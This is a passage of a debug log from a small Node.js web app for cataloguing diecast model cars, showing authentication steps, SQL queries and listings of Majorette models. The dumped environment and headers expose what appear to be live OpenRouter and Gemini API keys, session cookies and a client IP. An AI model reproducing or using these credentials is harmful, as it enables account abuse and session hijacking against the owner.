    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:01:59.224Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:01:59.225Z server-connect:app Executing action step identify
2026-02-04T07:01:59.225Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:59.225Z server-connect:output identity: 1
2026-02-04T07:01:59.225Z server-connect:app Executing action step restrict
2026-02-04T07:01:59.225Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:59.225Z server-connect:output restrict: undefined
2026-02-04T07:01:59.225Z server-connect:app Executing action step condition
2026-02-04T07:01:59.225Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:01:59.225Z server-connect:app Executing action step update
2026-02-04T07:01:59.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:01:59.227Z server-connect:output update: { affected: 1 }
2026-02-04T07:01:59.227Z server-connect:app Executing action step upload
2026-02-04T07:01:59.227Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:01:59.227Z server-connect:output upload_image: []
2026-02-04T07:01:59.227Z server-connect:app Executing action step repeat
2026-02-04T07:01:59.227Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:01:59.227Z server-connect:output repeat_images: []
2026-02-04T07:01:59.227Z server-connect:output condition: undefined
2026-02-04T07:01:59.515Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:01:59.515Z server-connect:app Executing action step identify
2026-02-04T07:01:59.515Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:59.515Z server-connect:output identity: 1
2026-02-04T07:01:59.515Z server-connect:app Executing action step restrict
2026-02-04T07:01:59.515Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:59.515Z server-connect:output restrict: undefined
2026-02-04T07:01:59.515Z server-connect:app Executing action step paged
2026-02-04T07:01:59.515Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:01:59.518Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:01:59.803Z server-connect:router Serving templateView /
2026-02-04T07:01:59.803Z server-connect:app Executing action step identify
2026-02-04T07:01:59.803Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:59.803Z server-connect:output identity: 1
2026-02-04T07:01:59.803Z server-connect:app Executing action step restrict
2026-02-04T07:01:59.803Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:59.803Z server-connect:output restrict: undefined
2026-02-04T07:01:59.803Z server-connect:app Executing action step restrict
2026-02-04T07:01:59.803Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:59.804Z server-connect:output restrict: undefined
2026-02-04T07:01:59.804Z server-connect:router Render template layouts/main
2026-02-04T07:01:59.804Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:02:11.154Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:02:11.154Z server-connect:app Executing action step identify
2026-02-04T07:02:11.154Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:11.154Z server-connect:output identity: 1
2026-02-04T07:02:11.154Z server-connect:app Executing action step restrict
2026-02-04T07:02:11.154Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:11.155Z server-connect:output restrict: undefined
2026-02-04T07:02:11.155Z server-connect:app Executing action step condition
2026-02-04T07:02:11.155Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:02:11.155Z server-connect:app Executing action step update
2026-02-04T07:02:11.155Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:02:11.157Z server-connect:output update: { affected: 1 }
2026-02-04T07:02:11.157Z server-connect:app Executing action step upload
2026-02-04T07:02:11.157Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:02:11.157Z server-connect:output upload_image: []
2026-02-04T07:02:11.157Z server-connect:app Executing action step repeat
2026-02-04T07:02:11.157Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:02:11.157Z server-connect:output repeat_images: []
2026-02-04T07:02:11.157Z server-connect:output condition: undefined
2026-02-04T07:02:11.440Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:02:11.441Z server-connect:app Executing action step identify
2026-02-04T07:02:11.441Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:11.441Z server-connect:output identity: 1
2026-02-04T07:02:11.441Z server-connect:app Executing action step restrict
2026-02-04T07:02:11.441Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:11.441Z server-connect:output restrict: undefined
2026-02-04T07:02:11.442Z server-connect:app Executing action step paged
2026-02-04T07:02:11.442Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:02:11.444Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
